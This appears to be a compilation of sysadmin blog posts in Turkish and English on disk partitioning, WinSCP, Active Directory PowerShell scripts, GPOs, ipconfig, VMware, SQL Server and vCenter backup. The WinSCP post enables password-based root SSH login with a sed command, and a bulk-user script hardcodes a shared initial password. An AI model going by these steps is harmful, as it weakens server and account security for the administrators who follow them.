sabit diskler için tercih edilir. MBR nedir? MBR (Master Boot Record), bilgisayarların sabit disklerinde bölümlendirme (partitioning) yöntemleri olarak kullanılan bir disk bölümleme yöntemidir. MBR, diskteki ilk sektöre kaydedilir ve disk bölümlerinin yerini ve boyutunu tutar. Ayrıca, önyükleme sürecinde kullanılan önyükleme kodunu da içerir. MBR, bilgisayarların ilk ortaya çıktığı dönemlerde kullanılmaya başlanmıştır ve halen yaygın olarak kullanılmaktadır. Ancak MBR'nin bazı sınırlamaları vardır. Örneğin, yalnızca dört birincil bölüm veya üç birincil ve bir genişletilmiş bölüm oluşturulabilir. Ayrıca, her bir bölüm maksimum 2 TB boyutunda olabilir. MBR, Windows işletim sistemlerinde varsayılan disk bölümleme yöntemidir. Ancak, daha büyük disklerde veya çok sayıda bölüm oluşturulması gereken durumlarda, GPT (GUID Partition Table) disk bölümleme yöntemi kullanılabilir. GPT Nedir? GPT (GUID Partition Table), bilgisayarların sabit disklerinde bölümlendirme (partitioning) yöntemi olarak kullanılan modern bir disk bölümleme yöntemidir. GPT, disk bölümlerinin yerini ve boyutunu tutan bir tabloya sahiptir ve diskteki her bir bölümü benzersiz bir kimlik (GUID) ile tanımlar. Ayrıca, önyükleme sürecinde kullanılan önyükleme kodunu da içerir. GPT, MBR (Master Boot Record) disk bölümleme yöntemi ile karşılaştırıldığında birçok avantaja sahiptir. Örneğin, GPT disklerde maksimum bölüm boyutu 9.4 ZB (zettabyte) olabilir, yani çok daha büyük boyutlu bölümler oluşturulabilir. Ayrıca, GPT disklerde birincil bölümlerin sayısı sınırlandırılmamıştır ve bölümler arasında geçiş yapmak için özel bir genişletilmiş bölüm oluşturma ihtiyacı yoktur. GPT, Windows 7 ve daha sonraki sürümlerinde desteklenmektedir. Ancak, GPT disk bölümleme yöntemi kullanılarak bölümlendirilmiş bir disk, MBR disk bölümleme yöntemi kullanılarak bölümlendirilmiş bir bilgisayarda önyükleme yapamaz. Ayrıca, eski bir bilgisayarda GPT disk bölümleme yöntemi kullanarak bölümlendirilmiş bir disk kullanıyorsanız, eski bir BIOS yerine UEFI (Unified Extensible Firmware Interface) kullanmanız gerekebilir. Yararlı olması dileğiyle. – Best Regards. --- ## Winscp permission denied, error code 3 error Link: https://farukguler.com/posts/winscp-permission-denied-error-code-3-error/ Winscp sayesinde Linux makinelerde Kullanıcı adımız ve şifremizle Varsayılan olarak yalnızca uzak ana dizine (/home/guler) aktarabilir/düzenleyebilir ve alanda bunlarla çalışabiliriz. Ama iş tüm dizinleri görmek ve üzerinde işlem yapmaya gelince Root olmadığınız için yukarıdaki hatayı alacaksınız. Şimdi nasıl bunu nasıl aşacağımızı görelim. Linux makinelerde root kullanıcısı default'ta pasif durumda gelmektedir. Root kullanıcısına şifre tanımlayıp aktif ederek tüm dizinlerde söz sahibi olmamız gerekiyor. yukarıdaki hatada tam olarak bundan kaynaklanmaktadır. Root kullanıcısını aktif ederek gerekli yetkileri verelim. For Ubuntu Servers Bir server kiraladığınızda veya kurduğunuzda size bir bir kullanıcı oluşturur sonrasında ssh üzerinden işlem yapmak için root kullanıcını aktif etmeniz gerekir. Aktif etmek için aşağıdaki adımları izleyebilirsiniz.-----------------------------------------------------sudo passwd root#İlk önce root şifremizi sıfırlayalım ve 2 kere yeni şifremizi girelim.su root#İşlem yaptıktan sonra root kullanıcısına geçelim.sudo sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config#Root için SSH girişini aktif edelim.service sshd restart#SSH servisini resetleyelim Yararlı olması dileğiyle. – Best regards. --- ## AD Bulk Attribute "Mail, Name, etc." Export Link: https://farukguler.com/posts/ad-bulk-attribute-mail-name-etc-export/ # Import the Active Directory module if not already loaded Import-Module ActiveDirectory # Get all users from Active Directory and retrieve the "mail" attribute $users = Get-ADUser -Filter * -Properties mail | Select-Object Name, mail # Export the user names and email addresses to a CSV file $users | Export-Csv -Path "C:\Guler_User_Emails.csv" -NoTypeInformation --- ## James Webb Uzay Teleskopu Link: https://farukguler.com/posts/james-webb-space-telescope/ İnsanlık Tarihin en büyük uzay kaşifi! Şimdiye kadar yapılmış en güçlü teleskop! James WEBB Uzaya gönderildi. James Webb Uzay Teleskopu, NASA, Avrupa Uzay Ajansı (ESA) ve Kanada Uzay Ajansı'nın birlikte geliştirdiği, dünya üzerindeki en güçlü uzay teleskobu olarak tasarlanan bir uzay aracıdır. Teleskop, özellikle kızılötesi ışığı algılamak için tasarlanmıştır ve uzayın daha önce görülmemiş bir detaylı haritasını çıkarmak için kullanılacaktır. James Webb Uzay Teleskopu, uzay aracının adını taşıyan James E. Webb'in anısına yapılmıştır. Webb, NASA'nın eski yöneticilerinden biriydi ve Apollo programının başarısı ile önemli bir rol oynamıştı. Teleskop, 25 Aralık 2021'de Fransız Guyanası'ndaki Kourou Uzay Üssü'nden fırlatıldı. Fırlatma, Ariane 5 roketi tarafından gerçekleştirildi. James Webb Uzay Teleskopu, öncelikle evrendeki ilk yıldızların ve galaksilerin doğumundan kalan ışığı gözlemleyerek, evrenin ilk dönemlerine ışık tutmayı amaçlamaktadır. Ayrıca gezegen oluşumları, yıldız doğumları ve özellikle de Dünya dışındaki yaşamı araştırmak için kullanılacak. Teleskop, özellikle uzayda karartılmış bölgelerde (örneğin Güneş Sistemi dışındaki Jüpiter benzeri gezegenlerin atmosferleri) araştırma yapmak için de kullanılabilir. Özellikleri nelerdir, Farkı Ne? James Webb Uzay Teleskopu, önceki Hubble Uzay Teleskopu'na göre birçok farklı özellikle tasarlanmıştır. İşte James Webb Uzay Teleskopu'nun özellikleri: Kızılötesi algılama: James Webb Uzay Teleskopu, özellikle kızılötesi ışınları algılamak için tasarlanmıştır. Bu sayede teleskop, daha önce görülmemiş bir hassasiyetle evreni inceleyebilecek ve özellikle karanlık yerlerdeki nesneleri daha kolay gözlemleyebilecektir. Büyük aynalı tasarım: Teleskop, 6,5 metre çapındaki büyük bir aynaya sahiptir. Bu sayede teleskop, daha yüksek çözünürlük ve daha yüksek ışık toplama kapasitesi ile daha ayrıntılı gözlemler yapabilecektir. Soğutma sistemleri: James Webb Uzay Teleskopu, daha önceki uzay teleskoplarından farklı olarak soğutma sistemlerine sahiptir. Bu sistemler, teleskobun yüksek hassasiyetli kızılötesi algılama yapabilmesi için gerekli olan düşük sıcaklıkları sağlar. Uzayda karartılmış bölgeler için tasarım: Teleskop, özellikle uzayda karartılmış bölgelerde araştırma yapmak için tasarlanmıştır. Bu sayede teleskop, Güneş Sistemi dışındaki gezegenlerin atmosferlerini ve özellikle Dünya dışındaki yaşamın varlığını araştırmak için kullanılabilir. Daha uzak mesafelere bakabilme: James Webb Uzay Teleskopu, daha önceki uzay teleskoplarından daha uzak mesafelere bakabilme yeteneğine sahiptir. Bu sayede teleskop, evrenin daha erken dönemlerine bakarak evrenin tarihine ve yapısına daha iyi bir anlayış sağlayabilir. Birlikte çalışabilme: James Webb Uzay Teleskopu, diğer gözlem araçları ile birlikte çalışabilme yeteneğine sahiptir. Bu sayede teleskop, diğer gözlem araçları ile birlikte çalışarak daha ayrıntılı ve kapsamlı gözlemler yapabilir. Bu özelliklerin bir arada olması, James Webb Uzay Teleskopu'nu önceki uzay teleskoplarından farklı kılan en önemli faktördür. Bu özellikler sayesinde, teleskop daha ayrıntılı ve kapsamlı gözlemler yapabilecek ve insanlığın evren hakkındaki bilgisini büyük ölçüde artırabilecektir. Yaratılış Sütunları Misyonu: James Webb Uzay Teleskopu'nun ana misyonu, evrenin tarihini ve yapısını daha iyi anlamamıza yardımcı olmaktır. Teleskop, özellikle evrenin ilk dönemlerindeki ilk yıldızların ve galaksilerin oluşumunu araştırmak için tasarlanmıştır. Ayrıca, Güneş Sistemi dışındaki gezegenlerin atmosferlerini ve özellikle Dünya dışındaki yaşamın varlığını araştırmak için de kullanılabilir. James Webb Uzay Teleskopu, önceki Hubble Uzay Teleskopu'na göre daha gelişmiş bir teknolojiye sahiptir ve özellikle kızılötesi ışınları algılamak için tasarlanmıştır. Bu sayede teleskop, evrenin daha önce hiç görülmemiş detaylı bir haritasını çıkarmamıza olanak sağlayacaktır. James Webb Uzay Teleskopu ayrıca, galaksilerin oluşumundan yıldızların doğumuna kadar olan süreçleri de inceleyerek, evrenin nasıl şekillendiğine dair daha iyi bir anlayışa sahip olmamızı sağlayacak. Bu bilgiler, evrenin kökenlerine dair birçok soruyu cevaplayabilir ve insanlık için önemli keşiflere yol açabilir. Barış ÖZCAN tarafından yayınlanan ilgili video: https://www.youtube.com/watch?v=Ojb7HqkXT7U --- ## Ipconfig nedir? Link: https://farukguler.com/posts/ipconfig-nedir/ Ipconfig, Windows işletim sisteminde kullanılan bir komuttur ve bilgisayarın ağ ve network özelliklerini görüntüler. Bu komut sayesinde alt ağ maskesi, DHCP IP adresi, MAC adresi, ağ geçidi, DNS gibi ayarlar ve değişiklikler yapılabilir. Ipconfig komutunu çalıştırmak için, Windows arama bölümüne "CMD" yazarak Dos ekranına ulaşabilirsiniz. Dos ekranında "ipconfig /?" komutunu kullanarak, komutun tüm parametrelerini detaylı olarak görüntüleyebilirsiniz. IPconfig paramatreleri: (ipconfig yazdıktan sonra boşluk bırakarak) ipconfig /all: Tüm network yapılandırmasını gösterir. ipconfig /release: Ugrulanan network için IPv4 adresini bırakır. ipconfig /renew: Ugrulanan network için IPv4 adresini yeniler. ipconfig /renew6: Ugrulanan network için IPv6 adresini yeniler. ipconfig /flushdns: DNS önbelleiğinin temizlenmesi ve DNS’ in sıfırlanmasında kullanılır. ipconfig /registerdns: Tüm DHC’ leri yeniler ve DNS isimlerini tekrar kaydettirir. ipconfig /displaydns: DNS çözümleyici önbelleğinin içeriğini görüntüler. ipconfig /showclassid: Bağdaştırıcı için izin verilen tüm DHCP sınıf kimliklerini görüntüler. ipconfig /setclassid: DHCP sınıf kimliğini değiştirir. ipconfig /showclassid6: Bağdaştırıcı için izin verilen tüm IPv6 DHCP sınıf kimliklerini görüntüler. ipconfig /setclassid6: IPv6 DHCP sınıf kimliğini değiştirir --------------------------------------------------------------------------------------- ipconfig /all: Shows all network configuration. ipconfig /release: Releases the IPv4 address for the attached network. ipconfig /renew: Renews the IPv4 address for the attached network. ipconfig /renew6: Renews the IPv6 address for the attached network. ipconfig /flushdns: Used to flush DNS cache and reset DNS. ipconfig /registerdns: Renews all DHCs and re-registers DNS names. ipconfig /displaydns: Displays the contents of the DNS resolver cache. ipconfig /showclassid: Displays all allowed DHCP class IDs for the adapter. ipconfig /setclassid: Changes the DHCP class ID. ipconfig /showclassid6: Displays all allowed IPv6 DHCP class IDs for the adapter. ipconfig /setclassid6: Changes the IPv6 DHCP class ID. Yararlı olması dileğiyle. – Best regards. --- ## What is Restricted Groups? Link: https://farukguler.com/posts/restricted-groups-policy/ Specifying and limiting which accounts on computers can be members of local groups can sometimes be necessary on systems running in an AD domain. Specifically, the local administrators group is the group with the highest privileges on computers in the domain. User accounts that are members of this group can perform operations such as uninstalling, installing, writing and executing programs, adding new members, etc. Also, by default, the Domain Administrators group is a member of the Local Administrators group for the entire domain. (** I recommend removing this for security purposes) Therefore, specifying and limiting which accounts can be members of these groups is very important for security purposes. The Restricted Groups policy setting has been around since the earliest versions of Windows. However, it is not as comprehensive or flexible as the Preferences/Local Users and Groups policy setting. It has one purpose: to compare the list sent through this policy to Clients and purge members in local groups that are not included in the GPO (even if added by the client administrator) How do I make a Restricted Groups Policy? Computer Configuration > Windows Settings > Security Settings > Restricted Groups > Add Group You can directly type the name of the local group you want to control, or you can find a Computer Account in the AD structure by clicking Browse and select the local group name via the remote computer account. Information:- Domain administrators group can be added here, but it poses a potential security risk.- This can be applied based on policy (Computer Configuration). For this reason, computer accounts must be included under the OU to which the Restricted Groups policy setting is linked.- Another feature of this policy is that when this GPO is removed, the remnants in the SAM database on the clients are cleaned up and returned to their original state. **NOTE 1# Members of this group: In this section, (**Add Group) you should add the user accounts or groups you want to make members of the group you selected as the target. It is more strict and will delete all other members, it works as Overwrite. (***If the target group is left blank, all members except the administrator on the client side will be deleted.) 2# This group is a member of: This section is more secure and healthy. (Existing members in the group you target will not be deleted and because it does not work as Overwrite, so you will not break the target group) You can only create a default group or a specific group (**ITHelpdesk, etc.) and add it to the target group. Unfortunately, this section is not strict and you will tolerate members added by client admins, This may pose a security risk. Hope it is useful. – Best regards. --- ## Best Practices Local Admin Group Policy Link: https://farukguler.com/posts/best-practices-local-admin-policy/ Domain ortamında bulunan Bilgisayarların (Yerel) Local Gruplarına gerek kurulum gerek Destek Masası görevinde bulunacak, yeri geldiğinde yedekleme yapacak ve benzeri işler için bazı kullanıcılar eklememiz gerekebiliyor, bu durumda şirketimizdeki bütün bilgisayarları tek tek gezmek yerine Group Policy ile bu işlemi hem zaman, hem de iş yükünü azaltarak yapabilirsiniz. Group Policy Management üzerinde yeni policy oluşturalım - Sırası ile Computer Configuration => Prefences => Control Panel Settings => Local User and Group yoluna gidelim. - Açılan ekranda Sağ tıklayıp New => Local Group’u tıklıyoruz. Dilerseniz Local User da oluşturabilirsiniz. Action: Create(oluştur) Action: Update(güncelle) Action: Replace(değiştir) Action: Delete (sil) Bu kısımda Client'ler üzerindeki Local Grupları görüyoruz. Bu gruplara kullanıcı ekleyip, silecek veya güncelleyeceğiz. biz grupların içini güncelleyeceğimiz için Update seçiyoruz. Members kısmında bize bu gruplara kimleri dahil edeceğimizi soracaktır. Ben Yedekleme Operatörü grubuna Zeliha KISAOĞLU ' nu ekledim. Aşağıdaki resimde görüldüğü gibi Policy 'ler oluşturuldu. (Local administrators Backup Operatör, RDP yapacak kişiler vb.) Son olarak ekranı kapatarak Policy 'i uygun OU altına alıp link edelim. artık clientler üzerinde görebiliriz. yaptığımız değişikliği kaldırmak için policyleri silmek veya devre dışı bırakmak yetkileri kaldırmayacaktır, bunun için policy üzerinde delete Actionu vererek tekrar oluşturmak gerekir. Clientler policyleri aldıktan(Zeliha KISAOĞLU backup operator grubundan çıktıktan sonra) policy 'i silebilirsiniz. Bu işlemin bir benzerini bir sonraki makalede Restricted Groups Policy ile yapacağız... Sağlıcakla... --- ## How to uninstall Microsoft Edge Link: https://farukguler.com/posts/uninstall-a-microsoft-edge/ CMD: Run the command as an Administrator 8* = Edge version 9*, 15*, 102* vs 1:) cd %Programfiles(x86)%\Microsoft\Edge\Application\102*\Installer 2:) Setup --uninstall --force-uninstall --system-level --- ## EaseUS Data Recovery Wizard Link: https://farukguler.com/posts/easeus-data-recovery-wizard/ EaseUS Data Recovery Wizard, kaybolmuş, silinmiş veya biçimlendirilmiş verileri kurtarmak için tasarlanmış bir veri kurtarma yazılımıdır. Bu yazılım, bilgisayarınızda, harici sabit disklerde, USB sürücülerde, SD kartlarda, dijital kameralarda ve hatta mobil cihazlarda kaybolan verileri kurtarmak için kullanılabilir. EaseUS Data Recovery Wizard, kullanımı kolay bir arayüze sahiptir ve verilerinizi kurtarmak için gereken tüm adımları size rehberlik eder. İlk adım, kaybolan verileri içeren sürücüyü seçmektir. Bu adım tamamlandıktan sonra, yazılım seçilen sürücüyü taramaya başlar ve kayıp verileri bulmak için ayrıntılı bir tarama yapar. Tarama tamamlandığında, EaseUS Data Recovery Wizard, kayıp verileri kategorilere ayırır ve bu verileri önizleyebilmenizi sağlar. Bu sayede, kurtarmak istediğiniz verileri seçebilirsiniz. Verileri kurtarmak için, sadece kurtarmak istediğiniz verileri seçip, "Kurtar" düğmesine tıklamanız yeterlidir. EaseUS Data Recovery Wizard, birçok veri kaybı senaryosuna uygun olarak tasarlanmıştır. Örneğin, yanlışlıkla silinen dosyaları veya biçimlendirilmiş sürücüleri kurtarabilirsiniz. Ayrıca, virüs saldırıları, sistem çökmeleri veya sabit disk arızaları gibi daha ciddi veri kaybı senaryolarında da kullanabilirsiniz. Sonuç olarak, EaseUS Data Recovery Wizard, kolay kullanımı, geniş kapsamlı tarama ve veri kurtarma özellikleriyle, kaybolan verileri kurtarmak için kullanabileceğiniz güvenilir bir yazılımdır. Peki ücretli mi? EaseUS Data Recovery Wizard, ücretsiz olarak indirilebilir bir yazılımdır ancak ücretsiz sürümünde bazı kısıtlamalar vardır. Ücretsiz sürüm, 2 GB'a kadar veri kurtarma desteği sunar. Eğer kurtarmak istediğiniz veriler 2 GB'dan fazlaysa, ücretli sürümü satın almanız gerekebilir. Ücretli sürüm, daha fazla veri kurtarma desteği sunar ve daha kapsamlı tarama seçenekleri içerir. Ancak, ücretli sürüm satın almadan önce, kayıp verilerinizi kurtarmak için ücretsiz sürümü deneyebilirsiniz. Saygılarımla. – Best regards. --- ## AD Toplu Kullanıcı Oluşturma-AD Bulk Link: https://farukguler.com/posts/active-directory-toplu-kullanici-olusturma/ Active Directory'e yeni kullanıcı eklemek, IT personeli için basit bir işlem olabilir, ancak büyük bir kullanıcı sayısı veya farklı bir etki alanından kullanıcıların taşınması durumunda bu işlem oldukça zahmetli hale gelecektir. Bu nedenle, toplu kullanıcı oluşturmak veya taşımak için PowerShell betikleri hazırlamak, IT ekibinin işini kolaylaştırır. Bu amaçla, virgülle ayrılmış bir Excel dosyası (uyeler.csv) hazırlanabilir ve bu dosyadaki kullanıcıları AD ortamına yüklemek için PowerShell betiği yazılabilir. Dosyadaki bilgileri sütunlara dönüştürmek ve pars etmek için Excel'in "Metni Sütunlara Dönüştür" özelliği kullanılabilir. PowerShell betiği, CSV dosyasındaki tüm bilgileri alarak kullanıcıları AD ortamına yükleyebilir. Örneğin, isim, soyisim, kullanıcı adı, şifre, e-posta, telefon numarası vb. gibi tüm bilgileri içerebilir. Aşağıdaki örnekte, "Muhasebe_uyeleri.csv" dosyasından kullanıcıları AD ortamına yüklemek için bir PowerShell betiği yazılmıştır; PS: Import-Csv -Path 'C:\eklenecek\Muhasebe_uyeleri.csv' | foreach { $NewUserParams = @{ Displayname = $_.displayname # ad+soyad görünen Displayname Name = $_.name # ad+soyad - name + surname department = $_.department # görevi division = $_.division # birimi, unit of job givenname = $_.givenname # ad surname = $_.surname # soyad employeeID = $_.employeeID # personID SamAccountName = $_.SAM # kimlik-identity UserPrincipalName = $_.SAM+"@guler.com" # user logon name path = 'OU=test,DC=guler,DC=com' #eklenecegi OU AccountPassword = ConvertTo-SecureString 'Pass9*x+' -AsPlainText -Force # Enabled = $true # hesap açılışta aktif mi? evet-hayır ChangePasswordAtLogon = $true # Next logon? true-false PasswordNeverExpires = $false # şifre asla sona ermesin? true-false Server = 'guler.com' } New-ADUser @NewUserParams } Virgülle ayrılmış uyeler.CSV dosyası örneği. Saygılarımla. – Best regards. --- ## Veeam Backup & Replication Nedir? Link: https://farukguler.com/posts/veeam-backup-replication/ Fazla söze gerek yok sizi Baki ÇUBUK hocanın makaleleri ile baş başa bırakıyorum. Kendisine teşekkür ediyoruz. 1) Kurulum - Installation https://www.bakicubuk.com/veeam-backup-replication-11-kurulumu/ 2) Yapılandırma - Configuration https://www.bakicubuk.com/veeam-backup-replication-10-hyper-v-host-ekleme/ --- ## VMware Converter Nedir Link: https://farukguler.com/posts/vmware-converter-nedir/ VMware Converter Nedir? VMware Converter, bir fiziksel makineyi (fiziksel bir bilgisayar veya sunucu) bir sanal makineye dönüştürmek için kullanılan bir yazılımdır. VMware Converter, mevcut bir donanım üzerinde çalışan bir işletim sistemi ve uygulamaları dahil olmak üzere tüm verileri ve ayarları, bir sanal makineye taşımanıza olanak tanır. VMware Converter, fiziksel bir makineyi sanal bir makineye dönüştürmek için kullanılan ücretsiz bir yazılımdır. Bu yazılım, birçok sanallaştırma platformuyla uyumlu olan VMware'nin kendi sanallaştırma teknolojisi olan vSphere için özellikle tasarlanmıştır. VMware Converter, Microsoft Windows ve Linux işletim sistemleri için destek sunar. VMware Converter, sanal makine yöneticilerine birçok avantaj sunar. Öncelikle, fiziksel bir makineyi sanal bir makineye dönüştürmek, herhangi bir donanım değişikliği yapmadan yeni bir donanıma geçiş yapmanın kolay bir yoludur. Ayrıca, sanal bir makine, birden çok işletim sistemini ve uygulamayı aynı donanım üzerinde çalıştırmak için idealdir ve bu da fiziksel bir makineye kıyasla daha fazla esneklik ve ölçeklenebilirlik sağlar. VMware Converter, fiziksel bir makineyi sanal bir makineye dönüştürmenin yanı sıra, sanal bir makineyi de farklı bir sanallaştırma platformuna taşımanızı da sağlar. Örneğin, bir Hyper-V sanal makinesini VMware'ye taşımak istediğinizde VMware Converter'ı kullanabilirsiniz. Özetle, VMware Converter, fiziksel bir makineyi sanal bir makineye dönüştürmenizi ve sanal bir makineyi farklı bir sanallaştırma platformuna taşımanızı sağlayan kullanışlı bir araçtır. VMware Converter Nasıl İndirilir? VMware Converter, VMware'nin resmi web sitesinden ücretsiz olarak indirilebilir. İndirme işlemi aşağıdaki adımlarla gerçekleştirilebilir: VMware web sitesine erişin: https://www.vmware.com/products/converter.html Sayfanın alt kısmında yer alan "Download Now" (Şimdi İndir) butonuna tıklayın. VMware hesabınıza giriş yapmanız veya yeni bir hesap oluşturmanız istenebilir. İndirme türünü seçin. VMware Converter, Windows işletim sistemi için bir kurulum dosyası olarak sunulur. 1.VMware Converter Standalone’un en son sürümünü önceki adımda belirtildiği gibi VMware web sitesinden indirin. 2. VMware Converter yükleyicisini “VMware-converter-en-6.x.x” dosyasına çift tıklayın. Kurulumu başlatmak için Kurulum Hoş Geldiniz sayfasında Next’e tıklayın. 3. End-User Patent Sözleşmesini kabul edip Next’e tıklayın. 4. Kurulum türünü seçin. Ben “Local Installation” u seçtim. İleri’ye tıklayın. Local Installation, yerel kullanım için Converter Standalone Server, Converter Standalone Agent ve Converter Standalone Client’i yükler. Covnerter Standalone özelliğini yerel modda yüklerseniz, dönüştürme görevlerini yalnızca uygulamayı kurduğunuz makineden oluşturabilir ve yönetebilirsiniz. Dönüştürme görevlerini uzaktan oluşturabilmeniz ve yönetebilmeniz için bir Client-Server Installation gerçekleştirin. Client-Server kurulumu sırasında sisteminize kurmak istediğiniz Covnerter Standalone bileşenlerini seçebilirsiniz. Nasıl Kullanılır? VMware Converter, fiziksel bir makinenin sanal bir makineye dönüştürülmesi veya sanal bir makinenin farklı bir sanallaştırma platformuna taşınması işlemini gerçekleştirmek için kullanılan bir araçtır. İşte VMware Converter'ı kullanarak fiziksel bir makinenin sanal bir makineye dönüştürülmesi için adım adım bir kılavuz: VMware Converter'ı yükleyin ve başlatın. Karşınıza gelen ekranda "Convert Machine" (Makineyi Dönüştür) seçeneğine tıklayın. Bir "Source System" (Kaynak Sistemi) seçin. Bu seçim, dönüştürmek istediğiniz fiziksel makinenin işletim sistemini ve konfigürasyonunu içerir. "Destination System" (Hedef Sistemi) seçeneğinde "VMware Infrastructure Virtual Machine" (VMware Altyapısı Sanal Makinesi) seçeneğini seçin. "Destination Location" (Hedef Konumu) seçeneğinde sanal makine dosyalarını depolamak istediğiniz VMware vSphere ortamınızı seçin. Sanal makine için bir ad ve açıklama belirleyin. "Destination Disk Type" (Hedef Disk Türü) seçeneğinde, sanal makinenin disklerinin ne tür olacağını belirleyin. Sanal makinenin ayrıntılarını ve ayarlarını yapılandırmak için "Advanced Options" (Gelişmiş Seçenekler) düğmesine tıklayın. Sanal makine dönüştürme işlemini başlatmak için "Next" (İleri) düğmesine tıklayın. Dönüştürme işlemi tamamlandıktan sonra, sanal makine VMware vSphere ortamınıza eklenir ve kullanıma hazır hale gelir. VMware Converter, sanal bir makinenin farklı bir sanallaştırma platformuna taşınması işlemi için de kullanılabilir. Bu durumda, yukarıdaki adımları izleyerek sanal makineyi VMware Converter ile sanal bir disk dosyası (.vmdk) olarak dışa aktarabilir ve sonra bu dosyayı hedef sanallaştırma platformunda sanal bir makine olarak içe aktarabilirsiniz. Saygılarımla. --- ## MICROSOFT SQL SERVER SÜRÜMLERİ Link: https://farukguler.com/posts/sql-server-surumleri-ozellikleri-farklari/ Microsoft SQL Server, birçok farklı özellik ve kapasite sunan farklı sürümleri bulunan bir SQL tabanlı veritabanı yönetim sistemidir. Bu makalede, Microsoft SQL Server'ın farklı türlerini ayrıntılı bir şekilde inceleyeceğiz. SQL Server Express, ücretsiz ve hafif bir sürümdür ve en fazla 10 GB veri saklama kapasitesine sahiptir. Bu sürüm genellikle küçük işletmeler veya geliştiriciler tarafından kullanılır. SQL Server Express, SQL Server Management Studio gibi birçok araç ve özelliği içerir. SQL Server Standard, küçük ve orta ölçekli işletmeler için uygun bir sürümdür. Bu sürüm, daha fazla kapasite ve özellikler sunar ve yüksek kullanılabilirlik, veri yedekleme ve geri yükleme gibi özellikleri içerir. SQL Server Standard, birden çok CPU kullanımına izin verir ve birkaç farklı sürümü bulunur. SQL Server Enterprise, büyük ölçekli işletmeler veya kuruluşlar için daha uygun bir sürümdür. Bu sürüm, daha fazla kapasite ve özellikler sunar ve ölçeklenebilirlik, yüksek kullanılabilirlik, yedekleme ve geri yükleme, veri sıkıştırma ve çoklu sunucu yönetimi gibi özellikleri içerir. SQL Server Enterprise, büyük ölçekli veri merkezlerinde kullanılır. SQL Server Developer, geliştiriciler için uygun bir sürümdür. Bu sürüm, tam özelliklere sahiptir ve geliştiricilerin test etmek ve uygulamalarını geliştirmek için kullanabilecekleri birçok araç sunar. SQL Server Web SQL Server Web, yalnızca web uygulamaları için kullanılan bir sürümdür. Bu sürüm, yüksek kullanılabilirlik, yedekleme ve geri yükleme özellikleri sunar. SQL Server Web, web sunucularında veya bulut tabanlı hizmetlerde kullanılır. SQL Server Business Intelligence, veri madenciliği, analiz ve raporlama işlevleri için tasarlanmış bir sürümdür. Bu sürüm, veri analizi, iş zekası ve raporlama için birçok araç ve özellik içerir. SQL Server Datacenter, büyük ölçekli veri merkezleri için tasarlanmış bir sürümdür. Bu sürüm, SQL Server Enterprise sürümüne benzer özellikler sunar, ancak daha büyük kapasiteler için optimize edilmiştir. Bunların yanı sıra Microsoft SQL Server, birçok ek özellik ve araç da sunar. Bu araçlar, veritabanı yönetimi, yedekleme ve geri yükleme, veri entegrasyonu, veri güvenliği, performans izleme ve optimizasyon gibi birçok farklı alanı kapsar. Veritabanı yönetimi için, SQL Server Management Studio (SSMS) aracı sunulur. Bu araç, veritabanı oluşturma, yönetme, güncelleme, silme ve yedekleme gibi birçok farklı işlemi yapmanızı sağlar. Ayrıca, veritabanı nesneleri, veri akışı, iş akışı, planlama, performans izleme ve raporlama gibi birçok farklı özellik içerir. Yedekleme ve geri yükleme için, SQL Server Backup ve Restore aracı sunulur. Bu araç, veritabanı yedekleme ve geri yükleme işlemlerini yapmanızı sağlar. Ayrıca, yedekleme planlama, sıkıştırma, şifreleme ve çözme gibi birçok farklı özellik de sunar. Veri entegrasyonu için, SQL Server Integration Services (SSIS) aracı sunulur. Bu araç, veri kaynakları arasında veri akışını yönetmenizi sağlar. Ayrıca, veri dönüştürme, temizleme, birleştirme ve yeniden yapılandırma gibi birçok farklı özellik içerir. Veri güvenliği için, SQL Server Security araçları sunulur. Bu araçlar, kimlik doğrulama, erişim kontrolü, şifreleme, veri maskeleme ve denetim gibi birçok farklı özellik içerir. Performans izleme ve optimizasyon için, SQL Server Performance Monitoring and Tuning araçları sunulur. Bu araçlar, veritabanı performansını izlemenizi ve optimize etmenizi sağlar. Ayrıca, sorgu optimizasyonu, endeksleme, istatistikler ve veri bölme gibi birçok farklı özellik içerir. Sonuç olarak, Microsoft SQL Server'ın farklı sürümleri ve özellikleri, işletmelerin ihtiyaçlarına göre farklılık gösterir. Küçük işletmeler için SQL Server Express veya Standard sürümleri uygun olabilirken, büyük ölçekli kuruluşlar için SQL Server Enterprise veya Datacenter sürümleri daha uygun olabilir. SQL Server'ın sunmuş olduğu ek araçlar ve özellikler, veritabanı yönetimi, yedekleme ve geri yükleme, veri entegrasyonu, veri güvenliği ve performans izleme gibi farklı alanlarda işletmelerin ihtiyaçlarını karşılayacak şekilde tasarlanmıştır. Saygılarımla. – Best regards. --- ## vCenter Server 7 Appliance Backup & Restore Link: https://farukguler.com/posts/vcenter-appliance-backup-restore/ vCenter Server 7'nin backup'ını alabilmek için öncelikle VMware Appliance Management'e giriş yapmanız gerekmektedir. VMware Appliance Management'e giriş yapmak için aşağıdaki bağlantıyı kullanabilirsiniz. https://VCENTER-IP-ADRESI:5480 Backup oluşturma işlemine başlamak için öncelikle vSphere web istemcisine giriş yapmanız gerekiyor. Ardından Backup sekmesine geçiş yaparak iki seçenekle karşılaşacaksınız: "Backup Now" ve "Backup Schedule". "Backup Now" seçeneği ile anlık backup alabilirsiniz. Ancak, belirli bir tarih veya zaman aralığında otomatik backup almak için "Backup Schedule" seçeneğini kullanabilirsiniz. Bu bölümde backup job'u oluşturarak, istediğiniz sıklıkta backup alabilirsiniz. Günlük, haftalık veya özel tarih aralıkları seçebilirsiniz. Backup now bölümüne giriş yaptığımızda karşımıza birden fazla seçenek çıkacaktır. Backup location: Başlangıçta belirttiğim gibi, Backup programı birden fazla protokolü destekler ve yedekleme işlemini farklı yerlere yapabilirsiniz. Bu örnekte, SMB protokolünü kullanarak yedekleme işlemini gerçekleştireceğiz. SMB (Server Message Block), Windows işletim sistemi ve ağ kaynakları arasında dosya paylaşımı için kullanılan bir ağ protokolüdür. Backup programı, SMB protokolünü kullanarak yedeklemeyi ağdaki başka bir bilgisayarda veya sunucuda bulunan bir paylaşıma kaydedebilir. Örneğin, yedeklemeyi ağdaki bir SMB paylaşımına kaydetmek isterseniz, Backup programı üzerinde yedekleme ayarlarına gidin ve yedekleme konumu olarak SMB adresini belirtin. Daha sonra kullanıcı adı ve şifre bilgilerini girin ve yedekleme işlemini başlatın. Backup programı, SMB protokolünü kullanarak yedeklemeyi belirttiğiniz paylaşıma kaydedecektir. Bu şekilde yedekleme işlemlerinizi ağ üzerindeki başka bir bilgisayarda veya sunucuda bulunan paylaşıma kaydederek verilerinizi güvenli bir şekilde 